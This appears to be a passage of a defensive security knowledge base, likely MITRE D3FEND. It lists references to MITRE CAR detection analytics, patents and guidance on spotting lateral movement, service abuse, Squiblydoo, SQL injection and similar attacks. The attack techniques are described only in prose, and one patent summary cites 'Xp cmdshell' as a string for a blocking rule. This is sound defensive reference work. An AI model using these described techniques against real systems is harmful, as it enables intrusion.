kb-abstract: An adversary can remotely manipulate the registry of another machine if the RemoteRegistry service is enabled and valid credentials are obtained. While the registry is remotely accessed, it can be used to prepare a Lateral Movement technique, discover the configuration of a host, achieve Persistence, or anything that aids an adversary in achieving the mission. Like most ATT&CK techniques, this behavior can be used legitimately, and the reliability of an analytic depends on the proper identification of the pre-existing legitimate behaviors. Although this behavior is disabled in many Windows configurations, it is possible to remotely enable the RemoteRegistry service, which can be detected with CAR-2014-03-005. Remote access to the registry can be achieved via * Windows API function RegConnectRegistry * command line via reg.exe * graphically via regedit.exe All of these behaviors call into the Windows API, which uses the NamedPipe WINREG over SMB to handle the protocol information. This network can be decoded with wireshark or a similar sensor, and can also be detected by hooking the API function.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: AdministrativeNetworkActivityAnalysis
kb-reference-title: CAR-2014-11-005: Remote Registry

Reference - CAR-2014-03-005: Remotely Launched Executables via Services - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2014-03-005/
kb-abstract: There are several ways to cause code to execute on a remote host. One of the most common methods is via the Windows Service Control Manager (SCM), which allows authorized users to remotely create and modify services. Several tools, such as PsExec, use this functionality. When a client remotely communicates with the Service Control Manager, there are two observable behaviors. First, the client connects to the RPC Endpoint Mapper over 135/tcp. This handles authentication, and tells the client what port the endpoint--in this case the SCM--is listening on. Then, the client connects directly to the listening port on services.exe. If the request is to start an existing service with a known command line, the the SCM process will run the corresponding command. This compound behavior can be detected by looking for services.exe receiving a network connection and immediately spawning a child process.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: RPCTrafficAnalysis
kb-reference-title: CAR-2014-03-005: Remotely Launched Executables via Services

Reference - CAR-2015-04-002: Remotely Scheduled Tasks via Schtasks - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2015-04-002/
kb-abstract: An adversary can move laterally using the schtasks command to remotely schedule tasks. Although these events can be detected with command line analytics CAR-2013-08-001, it is possible for an adversary to use the API directly, via the Task Scheduler GUI or with a scripting language such as PowerShell. In this cases, an additional source of data becomes necessary to detect adversarial behavior. When scheduled tasks are created remotely, Windows uses RPC (135/tcp) to communicate with the Task Scheduler on the remote machine. Once an RPC connection is established (CAR-2014-05-001), the client communicates with the Scheduled Tasks endpoint, which runs within the service group netsvcs. With packet capture and the right packet decoders or byte-stream based signatures, remote invocations of these functions can be identified. Certain strings can be identifiers of the schtasks, by looking up the interface UUID of ITaskSchedulerService in different formats * UUID 86d35949-83c9-4044-b424-db363231fd0c (decoded) * Hex 49 59 d3 86 c9 83 44 40 b4 24 db 36 32 31 fd 0c (raw) * ASCII IYD@$621 (printable bytes only) This identifier is present three times during the RPC request phase. Any sensor that has access to the byte code as raw, decoded, or ASCII could implement this analytic.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: RPCTrafficAnalysis
kb-reference-title: CAR-2015-04-002: Remotely Scheduled Tasks via Schtasks

Reference - Reputation of an entity associated with a content item
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20060253584A1
kb-author: Christopher Dixon, Thomas Pinckney
kb-reference-of: FileHashReputationAnalysis
kb-reference-title: Reputation of an entity associated with a content item

Reference - Revoke a previously issued verifiable credential - Microsoft
type: SpecificationReference
type: NamedIndividual
has-link: https://learn.microsoft.com/en-us/azure/active-directory/verifiable-credentials/how-to-issuer-revoke
kb-author: Barclay Neira, Christer Ljung, Juan Camilo Ruiz, John Flores
kb-organization: Microsoft
kb-reference-of: Credential Revocation
kb-reference-title: Revoke a previously issued verifiable credential

Reference - CAR-2014-03-006: RunDLL32.exe monitoring - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2014-03-006/
kb-abstract: Adversaries may find it necessary to use Dyanamic-link Libraries (DLLs) to evade defenses. One way these DLLs can be "executed" is through the use of the built-in Windows utility RunDLL32, which allows a user to execute code in a DLL, providing the name and optional arguments to an exported entry point. Windows uses RunDll32 legitimately in its normal operation, but with a proper baseline and understanding of the environment, monitoring its usage could be fruitful.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2014-03-006: RunDLL32.exe monitoring

Reference - S7-1200 Programmable controller
type: GuidelineReference
type: NamedIndividual
has-link: https://docs.tia.siemens.cloud/r/simatic_s7_1200_manual_collection_enus_20/programming-concepts/using-blocks-to-structure-your-program/data-block-db
kb-abstract: The S7-1200 programmable logic controllers (PLCs) can control a variety of automation applications. Compact design, affordable price, and a powerful instruction set make the S7-1200 CPU and modules a perfect solution for controlling a wide variety of applications. Together with the STEP 7 configuration and programming tool, you have the flexibility you need to design your automation solutions. This documentation provides information about the S7-1200 CPU and modules. It contains information for engineers, programmers, installers, and electricians.
kb-organization: SIEMENS
kb-reference-of: OTVariableAccessRestriction
kb-reference-title: S7-1200 Programmable controller

Reference - /SAFESEH (Image has Safe Exception Handlers) - Microsoft Docs
type: UserManualReference
type: NamedIndividual
has-link: https://docs.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers
kb-abstract: When /SAFESEH is specified, the linker will only produce an image if it can also produce a table of the image's safe exception handlers. This table specifies for the operating system which exception handlers are valid for the image.
kb-author: Mike Blome, Saisang Cai, Colin Robertson, Mike Jones, NextTurn, Gordon Hogenson
kb-organization: Microsoft
kb-reference-of: ExceptionHandlerPointerValidation
kb-reference-title: /SAFESEH (Image has Safe Exception Handlers)

Reference - SIA OSDP v2.2
type: SpecificationReference
type: NamedIndividual
has-link: https://www.securityindustry.org/industry-standards/open-supervised-device-protocol/
kb-abstract: Open Supervised Device Protocol (OSDP) is an access control communications standard developed by the Security Industry Association (SIA) to improve interoperability among access control and security products.
kb-author: Security Industry Association (SIA)
kb-reference-of: ElectronicLockMonitoring
kb-reference-title: Open Supervised Device Protocol (OSDP) v2.2

Reference - CAR-2013-05-005: SMB Copy and Execution - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-05-005/
kb-abstract: An adversary needs to gain access to other hosts to move throughout an environment. In many cases, this is a twofold process. First, a file is remotely written to a host via an SMB share (detected by CAR-2013-05-003). Then, a variety of Execution techniques can be used to remotely establish execution of the file or script. To detect this behavior, look for files that are written to a host over SMB and then later run directly as a process or in the command line arguments. SMB File Writes and Remote Execution may happen normally in an environment, but the combination of the two behaviors is less frequent and more likely to indicate adversarial activity. This can possibly extend to more copy protocols in order to widen its reach, or it could be tuned more finely to focus on specific program run locations (e.g. %SYSTEMROOT%\system32) to gain a higher detection rate.
kb-reference-of: IPCTrafficAnalysis
kb-reference-title: CAR-2013-05-005: SMB Copy and Execution

Reference - CAR-2013-01-003: SMB Events Monitoring - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-01-003/
kb-abstract: Server Message Block (SMB) is used by Windows to allow for file, pipe, and printer sharing over port 445/tcp. It allows for enumerating, and reading from and writing to file shares for a remote computer. Although it is heavily used by Windows servers for legitimate purposes and by users for file and printer sharing, many adversaries also use SMB to achieve Lateral Movement. Looking at this activity more closely to obtain an adequate sense of situational awareness may make it possible to detect adversaries moving between hosts in a way that deviates from normal activity. Because SMB traffic is heavy in many environments, this analytic may be difficult to turn into something that can be used to quickly detect an APT. In some cases, it may make more sense to run this analytic in a forensic fashion. Looking through and filtering its output after an intrusion has been discovered may be helpful in identifying the scope of compromise. Output Description: The source, destination, content, and time of each event.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: IPCTrafficAnalysis
kb-reference-title: CAR-2013-01-003: SMB Events Monitoring

Reference - CAR-2013-05-003: SMB Write Request - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-05-003/
kb-abstract: As described in CAR-2013-01-003, SMB provides a means of remotely managing a file system. Adversaries often use SMB to move laterally to a host. SMB is commonly used to upload files. It may be used for staging in Exfiltration or as a Lateral Movement technique. Unlike SMB Reads, SMB Write requests typically require an additional level of access, resulting in less activity. Focusing on SMB Write activity narrows the field to find techniques that actively change remote hosts, instead of passively reading files.
kb-reference-of: IPCTrafficAnalysis
kb-reference-title: CAR-2013-05-003: SMB Write Request

Reference - SNMP - Network Auto-Discovery
type: UserManualReference
type: NamedIndividual
has-link: https://docs.device42.com/auto-discovery/network-auto-discovery/
kb-abstract: SNMP, or Simple Network Management Protocol, is a protocol and a standard that is supported by just about any managed network-connected hardware. There are three widely deployed versions: SNMP v1, v2c (most commonly used), and v3. SNMP is typically utilized read-only, but supports read/write, and by default utilized port 161. SNMP exposes management data in the form of ‘variables’, which are organized in what is known as a MIB, or “Management Information Base”. A MIB essentially describes the variables available on a given system, each of which can be remotely queried via SNMP.
kb-organization: Device 42
kb-reference-of: Active Logical Link Mapping
kb-reference-title: SNMP - Network Auto Discovery

Secrets Management Cheat Sheet
type: InternetArticleReference
type: NamedIndividual
has-link: https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html
kb-abstract: The OWASP Secrets Management Cheat Sheet provides clear directives for securely managing sensitive data like API keys and credentials. It emphasizes centralized control for storage, provisioning, and auditing to prevent unauthorized access. Adopting strong rotation and management protocols is essential for maintaining security and integrity in DevOps environments.
kb-author: OWASP
kb-reference-of: Credential Scrubbing
kb-reference-title: Secrets Management Cheat Sheet

Reference - Secure caching of server credentials - Dell Products LP
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20100107241A1
kb-abstract: A credential caching system includes receiving a set of authentication credentials, storing the set of authentication credentials in a credential cache memory, wherein the credential cache memory is coupled with a management controller, and supplying the set of authentication credentials for automatic authentication during a reset or reboot. In the event of a security breach, the credential caching system clears the set of authentication credentials from the credential cache memory so that the set of authentication credentials may no longer be used for a reset or reboot.
kb-author: Muhammed K. JaberMukund P. KhatriKevin T. MarksDon Charles McCall
kb-organization: Dell Products LP
kb-reference-of: AuthenticationCacheInvalidation
kb-reference-title: Secure caching of server credentials

Reference - Secure one-way data transfer using communication interface circuitry
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US8068415B2
kb-abstract: Network interface circuitry for a secure one-way data transfer from a sender's computer (“Send Node”) to a receiver's computer (“Receive Node”) over a data link, such as an optical fiber or shielded twisted pair copper wire communication cable, comprising send-only network interface circuitry for transmitting data from the Send Node to the data link, and receive-only network interface circuitry for receiving the data from the data link and transmitting the received data to the Receive Node, wherein the send-only network interface circuitry is configured not to receive any data from the data link, and the receive-only network interface circuitry is configured not to send any data to the data link. The network interface circuitry may use various interface means such as PCI interface, USB connection, FireWire connection, or serial port connection for coupling to the Send Node and the Receive Node.
kb-organization: OWL Computing Technologies Inc
kb-reference-of: Directional Network Link
kb-reference-title: Secure one-way data transfer using communication interface circuitry

Reference - Security Architecture for the Internet Protocol
type: SpecificationReference
type: NamedIndividual
has-link: https://datatracker.ietf.org/doc/html/rfc1825
kb-abstract: This memo describes the security mechanisms for IP version 4 (IPv4) and IP version 6 (IPv6) and the services that they provide. Each security mechanism is specified in a separate document. This document also describes key management requirements for systems implementing those security mechanisms. This document is not an overall Security Architecture for the Internet and is instead focused on IP-layer security.
kb-author: Randall Atkinson
kb-reference-of: EncryptedTunnels
kb-reference-title: Security Architecture for the Internet Protocol

Reference - Security Considerations for Exchanging Files Over the Internet
type: GuidelineReference
type: NamedIndividual
has-link: https://csrc.nist.gov/files/pubs/shared/itlb/itlbul2020-08.pdf
kb-abstract: This Information Technology Laboratory (ITL) Bulletin provides recommendations from the National Institute of Standards and Technology (NIST) for securely exchanging files over the Internet. It also explores several of the technologies currently available for doing so to educate readers on options they have.
kb-author: Karen Scarfone, Matt Scholl, and Murugiah Souppaya
kb-reference-of: FileEncryption
kb-reference-title: NIST ITL Bulletin August 2020 - Security Considerations for Exchanging Files Over the Internet

Reference - Security System with Methodology for Interprocess Communication Control - Check Point Software Tech Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20040199763
kb-abstract: A security system with methodology for interprocess communication control is described. In one embodiment, a method for controlling interprocess communication is provided that includes steps of: defining rules indicating which system services a given application can invoke; trapping an attempt by a particular application to invoke a particular system service; identifying the particular application that is attempting to invoke the particular system service; and based on identity of the particular application and on the rules indicating which system services a given application can invoke, blocking the attempt when the rules indicate that the particular application cannot invoke the particular system service.
kb-author: Gregor Freund
kb-mitre-analysis: This patent describes a technique for monitoring interprocess communications to prevent malicious applications from requesting system services. API calls are monitored to detect malicious applications attempting to open a communication channel (port) to access system services or sending messages to other applications using user32 API functions. These requests are examined against an external rules engine or whitelist, matches deny or block access and produce an error message such as connection refused or service not available.
kb-organization: Check Point Software Tech Inc
kb-reference-of: IPCTrafficAnalysis
kb-reference-title: Security System with Methodology for Interprocess Communication Control

Reference - Security vulnerability information aggregation
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US8544098B2
kb-abstract: Security vulnerability information aggregation techniques are disclosed. Vulnerability information associated with one or more security vulnerabilities is obtained from multiple sources and aggregated into respective unified vulnerability definitions for the one or more security vulnerabilities. Aggregation may involve format conversion, content aggregation, or both in some embodiments. Unified vulnerability definitions may be distributed to vulnerability information consumers in accordance with consumer-specific policies. Storage of vulnerability information received from the sources may allow the aggregation process to be performed on existing vulnerability information “retro-actively”. Related data structures and Graphical User Interfaces (GUIs) are also disclosed.
kb-author: Christophe Gustave, Stanley Taihai Chow, Douglas Wiemer
kb-organization: Nokia Technologies Oy
kb-reference-of: AssetVulnerabilityEnumeration
kb-reference-title: Security vulnerability information aggregation

Reference - CAR-2014-02-001: Service Binary Modifications - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2014-02-001/
kb-abstract: Adversaries may modify the binary file for an existing service to achieve Persistence while potentially evading defenses. If a newly created or modified runs as a service, it may indicate APT activity. However, services are frequently installed by legitimate software. A well-tuned baseline is essential to differentiating between benign and malicious service modifications.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ServiceBinaryVerification
kb-reference-title: CAR-2014-02-001: Service Binary Modifications

Reference - CAR-2013-09-005: Service Outlier Executables - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-09-005/
kb-abstract: New executables that are started as a service are suspicious. This analytic looks for anomalous service executables.
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2013-09-005: Service Outlier Executables

Reference - CAR-2014-07-001: Service Search Path Interception - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2014-07-001/
kb-abstract: According to ATT&CK, an adversary may escalate privileges by intercepting the search path for legitimately installed services. As a result, Windows will launch the target executable instead of the desired binary and command line. This can be done when there are spaces in the binary path and the path is unquoted. Search path interception should never happen legitimately and will likely be the result of an adversary abusing a system misconfiguration. With a few regular expressions, it is possible to identify the execution of services with intercepted search paths.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2014-07-001: Service Search Path Interception

Reference - CAR-2014-05-002: Services launching Cmd - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
kb-abstract: Windows runs the Service Control Manager (SCM) within the process services.exe. Windows launches services as independent processes or DLL loads within a svchost.exe group. To be a legitimate service, a process (or DLL) must have the appropriate service entry point SvcMain. If an application does not have the entry point, then it will timeout (default is 30 seconds) and the process will be killed. To survive the timeout, adversaries and red teams can create services that direct to cmd.exe with the flag /c, followed by the desired command. The /c flag causes the command shell to run a command and immediately exit. As a result, the desired program will remain running and it will report an error starting the service. This analytic will catch that command prompt instance that is used to launch the actual malicious executable. Additionally, the children and descendants of services.exe will run as a SYSTEM user by default. Thus, services are a convenient way for an adversary to gain Persistence and Privilege Escalation.
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2014-05-002: Services launching Cmd

Reference - CAR-2013-02-008: Simultaneous Logins on a Host - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-02-008/
kb-abstract: Multiple users logged into a single machine at the same time, or even within the same hour, do not typically occur in networks we have observed. Logon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista. Logon types 2, 3, 9 and 10 are of interest. For more details see the Logon Types table on Microsoft's Audit Logon Events page.
kb-author: MITRE
kb-reference-of: AuthenticationEventThresholding
kb-reference-title: CAR-2013-02-008: Simultaneous Logins on a Host

Reference - Sinkholing bad network domains by registering the bad network domains on the internet - Palo Alto Networks Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20160381065A1
kb-abstract: Techniques for sinkholing bad network domains by registering the bad network domains on the Internet are provided. In some embodiments, sinkholing bad network domains by registering the bad network domains on the Internet includes determining a network domain is a bad network domain, in which the bad network domain is determined to be associated with an identified malware (e.g., malware that has been identified and has been determined to be associated with the bad domain), and the bad network domain is sinkholed by registering the bad network domain with a sinkholed IP address; and identifying a host that is infected with the identified malware based on an attempt by the host to connect to the sinkholed IP address.
kb-author: Huagang Xie; Wei Xu; Nir Zuk
kb-mitre-analysis: This patent describes a technique to identify bad domains that are associated with malware and sinkhole the bad domain. Bad domains are identified by receiving malware samples and executing the malware sample in a virtual execution environment to identify network domains that the malware sample attempts to connect to during execution. Network domains that are identified during malware execution are then generated into signatures to identity bad domains for other hosts. Once identified, the bad domains are sinkholed by translating the domain to a valid IP address that is associated with a device controlled by a cloud security provider.
kb-organization: Palo Alto Networks Inc
kb-reference-of: DNSTrafficAnalysis
kb-reference-title: Sinkholing bad network domains by registering the bad network domains on the internet

Reference - Site Isolation Design Document
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.chromium.org/developers/design-documents/site-isolation/
kb-organization: The Chromium Projects
kb-reference-of: Application-basedProcessIsolation
kb-reference-title: Site Isolation Design Document

Reference - CAR-2019-04-003: Squiblydoo - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2019-04-003/
kb-abstract: Squiblydoo is a specific usage of regsvr32.dll to load a COM scriptlet directly from the internet and execute it in a way that bypasses application whitelisting. It can be seen by looking for regsvr32.exe executions that load the scrobj.dll (which execute the COM scriptlet) or, if that is too noisy, those that also load content directly via HTTP or HTTPS.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2019-04-003: Squiblydoo

Reference - Security Technologies: Stack Smashing Protection (StackGuard) - Red Hat
type: InternetArticleReference
type: NamedIndividual
has-link: https://access.redhat.com/blogs/766093/posts/3548631
kb-abstract: In our previous blog, we saw how arbitrary code execution resulting from stack-buffer overflows can be partly mitigated by marking segments of memory as non-executable, a technology known as Execshield. However stack-buffer overflow exploits can still effectively overwrite the function return address, which leads to several interesting exploitation techniques like ret2libc, ret2gets, and ret2plt. With all of these methods, the function return address is overwritten and attacker controlled code is executed when the program control transfers to overwritten address on the stack.
kb-author: Huzaifa Sidhpurwala
kb-organization: Red Hat
kb-reference-of: StackFrameCanaryValidation
kb-reference-title: Security Technologies: Stack Smashing Protection (StackGuard)

Reference - StreamingPhish
type: TechniqueReference
type: NamedIndividual
has-link: https://github.com/wesleyraptor/streamingphish
kb-abstract: This is a utility that uses supervised machine learning to detect phishing domains from the Certificate Transparency log network.
kb-author: Wes Connell
kb-organization: Uber
kb-reference-of: PassiveCertificateAnalysis
kb-reference-title: StreamingPhish

Reference - Supply chain cyber-deception - Cymmetria, Inc.
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/WO2017187379A1
kb-abstract: A computer implemented method of detecting unauthorized access to a protected network from external endpoints, comprising monitoring, at a protected network, communication with one or more external endpoints using one or more access clients to access one or more of a plurality of resources of the protected networked, where one or more deception resources created in the protected network map one or more of the plurality of resources, detecting usage of data contained in one or more of a plurality of deception data objects deployed in the one or more access clients by monitoring an interaction triggered by one or more of the deception data objects with the one or more deception resources when used and identifying one or more potential unauthorized operations based on analysis of the detection.
kb-author: Gadi EVRON; Dean SYSMAN; Imri Goldberg; Shmuel Ur
kb-organization: Cymmetria, Inc.
kb-reference-of: DecoyFile
kb-reference-title: Supply chain cyber-deception

Reference - CAR-2013-07-001: Suspicious Arguments - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-07-001/
kb-abstract: Malicious actors may rename built-in commands or external tools, such as those provided by SysInternals, to better blend in with the environment. In those cases, the file path name is arbitrary and may blend in well with the background. If the arguments are closely inspected, it may be possible to infer what tools are running and understand what an adversary is doing. When any legitimate software shares the same command lines, it must be whitelisted according to the expected parameters.
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2013-07-001: Suspicious Arguments

Reference - CAR-2013-05-002: Suspicious Run Locations - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-05-002/
kb-abstract: In Windows, files should never execute out of certain directory locations. Any of these locations may exist for a variety of reasons, and executables may be present in the directory but should not execute. As a result, some defenders make the mistake of ignoring these directories and assuming that a process will never run from one. There are known TTPs that have taken advantage of this fact to go undetected. This fact should inform defenders to monitor these directories more closely, knowing that they should never contain running processes.
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2013-05-002: Suspicious Run Locations

Reference - Synchronizing a honey network configuration to reflect a target network environment - Palo Alto Networks Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170019425A1
kb-abstract: Techniques for synchronizing a honey network configuration to reflect a target network environment are disclosed. In some embodiments, a system for synchronizing a honey network configuration to reflect a target network environment includes a device profile data store that includes a plurality of attributes of each of a plurality of devices in the target network environment; a virtual machine (VM) image library that includes one or more VM images; and a virtual clone manager executed on a processor that instantiates a virtual clone of one or more devices in the target enterprise network using a VM image selected from the VM image library that is customized based on one or more attributes for a target device in the device profile data store.
kb-author: Taylor Ettema, Huagang Xie
kb-organization: Palo Alto Networks Inc
kb-reference-of: IntegratedHoneynet
kb-reference-title: Synchronizing a honey network configuration to reflect a target network environment

Reference - System and a method for identifying the presence of malware and ransomware using mini-traps set at network endpoints - Fidelis Cybersecurity Solutions Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9807115B2/en
kb-abstract: A system for identifying the presence of ransomware on a network, including a plurality of resources, interconnected to form a network and at least one decoy drive.The decoy drive includes a plurality of decoy files to be encrypted by the ransomware, and wherein the decoy drive continuously provides the decoy files thereby continuously occupying the ransomware.
kb-author: Doron Kolton; Rami Mizrahi; Omer Zohar; Benny Ben-Rabi; Alex Barbalat; Shlomi Gabai
kb-organization: Fidelis Cybersecurity Solutions Inc
kb-reference-of: DecoyFile
kb-reference-title: System and a method for identifying the presence of malware and ransomware using mini-traps set at network endpoints

Reference - System and method for detecting homoglyph attacks with a siamese convolutional neural network - Endgame Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20190019058A1/
kb-abstract: The present invention utilizes computer vision technologies to identify potentially malicious URLs and executable files in a computing device. In one embodiment, a Siamese convolutional neural network is trained to identify the relative similarity between image versions of two strings of text. After the training process, a list of strings that are likely to be utilized in malicious attacks are provided (e.g., legitimate URLs for popular websites). When a new string is received, it is converted to an image and then compared against the image of list of strings. The relative similarity is determined, and if the similarity rating falls below a predetermined threshold, an alert is generated indicating that the string is potentially malicious.
kb-author: Jonathan Woodbridge; Anjum Ahuja; Daniel Grant
kb-mitre-analysis: This patent describes a mechanism to detect homoglyph strings that involves training a Siamese convolutional neural network to compare images of strings. Strings of legitimate URLs for websites along with known suspicious stings are converted to images during the training process to create an index. New strings are converted to images and then compared to the index for similarity, if the string deviates beyond a threshold an alert is triggered.
kb-organization: Endgame Inc
kb-reference-of: HomoglyphDetection
kb-reference-title: System and method for detecting homoglyph attacks with a siamese convolutional neural network

Reference - System and method for detecting malware injected into memory of a computing device - Endgame Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20190018958A1/en
kb-abstract: In the embodiments described herein, a malicious code detection module identifies potentially malicious instructions in memory of a computing device. The malicious code detection module examines the call stack for each thread running within the operating system of the computing device. Within each call stack, the malicious code detection module identifies the originating module for each stack frame and determines whether the originating module is backed by an image on disk. If an originating module is not backed by an image on disk, the thread containing that originating module is flagged as potentially malicious, execution of the thread optionally is suspended, and an alert is generated for the user or administrator.
kb-author: Joseph W. Desimone
kb-organization: Endgame Inc
kb-reference-of: ProcessCodeSegmentVerification
kb-reference-title: System and method for detecting malware injected into memory of a computing device

Reference - System and Method for Detection of a Change in Behavior in the Use of a Website Through Vector Velocity Analysis - Silver Tail Systems
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20100235909A1/en
kb-abstract: A system and software for identifying the change of user behavior on a website includes analyzing the actions of users on a website comprising a plurality of fields or input parameters that identify the actions performed on a website including fields related to previous actions by that user or other users of the website. The fields or input parameters are represented in a vector format where vectors represent different sessions of activity on the website, pages of the website, users of the website, or other attributes of the use of a website. Analysis is performed to determine if new sessions are similar or dissimilar to previously known sessions and if a session is converging or diverging from known sessions based on the velocity and direction of the velocity of the vectors in the vector space.
kb-author: Mike Eynon; Laura Mather; Erik Westland; Jim Lloyd
kb-mitre-analysis: This patent describes a technique for detecting fraudulent behavior on a website. Website behavior is mapped to build a multidimensional representation of user actions on a website that is updated as additional actions are recorded. Example actions on a website that are recorded include clicks by a user on the website and entering data into forms. Current behavior is compared against baseline recorded behavior and if current behavior deviates above a threshold, an alert is issued.
kb-organization: Silver Tail Systems
kb-reference-of: WebSessionActivityAnalysis
kb-reference-title: System and Method for Detection of a Change in Behavior in the Use of a Website Through Vector Velocity Analysis

Reference - System and method for internet security - Cylance Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20120117644A1
kb-abstract: A computer implemented method for preventing SQL injection attacks comprises intercepting a web request associated with a web service at a first software hook in a first web service execution context, persisting at least a portion of the intercepted web request in a storage location associated with the first software hook and accessible to at least one additional execution context, intercepting a database query generated by at least one web service processing operation at a second software hook associated with the execution of the query, wherein the query is generated in response to the intercepted web request and the second hook retrieves the persisted portion of the intercepted web request, comparing a portion of the persisted portion of the intercepted web request with at least a portion of the intercepted database query, and determining, prior to the query being executed, whether the query corresponds to a potential SQL injection attack.
kb-author: Derek A. Soeder
kb-mitre-analysis: This patent describes a technique for detecting SQL injection attacks. Software hooks are installed in a web service or application to intercept function calls, events, or messages that are passed between software components. Intercepted database queries associated with a web request are analyzed character by character and if it contains a character that would modify the syntax the query is rejected or sanitized. Security rules and policies may also determine rejection. For example, an administrator or developer may implement a rule that rejects any database query that is excessively long or that contains a particular string, such as "Xp cmdshell".
kb-organization: Cylance Inc
kb-reference-of: DatabaseQueryStringAnalysis
kb-reference-title: System and method for internet security

Reference - System and Method for Network Security Including Detection of Attacks Through Partner Websites - EMC IP Holding Co LLC
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20110302653A1/en
kb-abstract: A computer readable storage medium has instructions for execution on a computer. The instructions monitor transactions between a server and a set of clients. An evaluation of session indicators associated with the transactions is performed. Individual sessions between the server and individual clients of the plurality of clients are isolated in response to the evaluation.
kb-author: Matt Frantz; Andreas Wittenstein; Mike Eynon; Laura Mather; Jim Lloyd; James Schumacher; Duane Murphy
kb-mitre-analysis: This patent describes a technique for detecting man-in-the-browser attacks. Current user session data is compared with the average user session that is based on collected data representing average values across all user sessions over a data-collection period. User session data includes average time between clicks and the order in which website pages are viewed. The comparisons are combined to generate a score that indicates the likelihood that the current session is a man-in-the-browser attack.
kb-organization: EMC IP Holding Co LLC
kb-reference-of: WebSessionActivityAnalysis
kb-reference-title: System and Method for Network Security Including Detection of Attacks Through Partner Websites

Reference - System and Method for Process Hollowing Detection - Carbon Black Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170272462A1
kb-abstract: A method and system for remediating a process hollowing intrusion on a user device comprising detecting a process starting on the user device, preparing the process to monitor Application Programming Interface (API) calls between the process and an operating system of the user device, determining whether the process is associated with a process hollowing intrusion based on information associated with the process and/or the API calls, and executing security policies against the process associated with the process hollowing intrusion. In examples, it is determined whether the child process is associated with a process hollowing intrusion in response to determining whether one or more API calls associated with known process hollowing intrusions modify executable memory of and/or modify an entry point address of the child process.
kb-author: Jeffrey Albin Kraemer, Paul Matthew Drapeau
kb-organization: Carbon Black Inc
kb-reference-of: ProcessSelf-ModificationDetection
kb-reference-title: System and Method for Process Hollowing Detection

Reference - System and method for providing an actively invalidated client-side network resource cache - IMVU
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9578081B2/en
kb-abstract: A system and method for providing an actively invalidated client-side network resource cache are disclosed. A particular embodiment includes: a client configured to request, for a client application, data associated with an identifier from a server; the server configured to provide the data associated with the identifier and to establish a queue associated with the identifier at a scalable message queuing system, the client being configured to subscribe to the queue at the scalable message queuing system to receive invalidation information associated with the data; the server being further configured to signal the queue of an invalidation event associated with the data; the scalable message queuing system being configured to convey information indicative of the invalidation event to the client; and the client being further configured to re-request the data associated with the identifier from the server upon receipt of the information indicative of the invalidation event.
kb-author: Jon Watte
kb-organization: IMVU
kb-reference-of: AuthenticationCacheInvalidation
kb-reference-title: System and method for providing an actively invalidated client-side network resource cache

Reference - System and method for providing anonymous remailing and filtering of electronic mail - Nokia
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/JPH11161574A
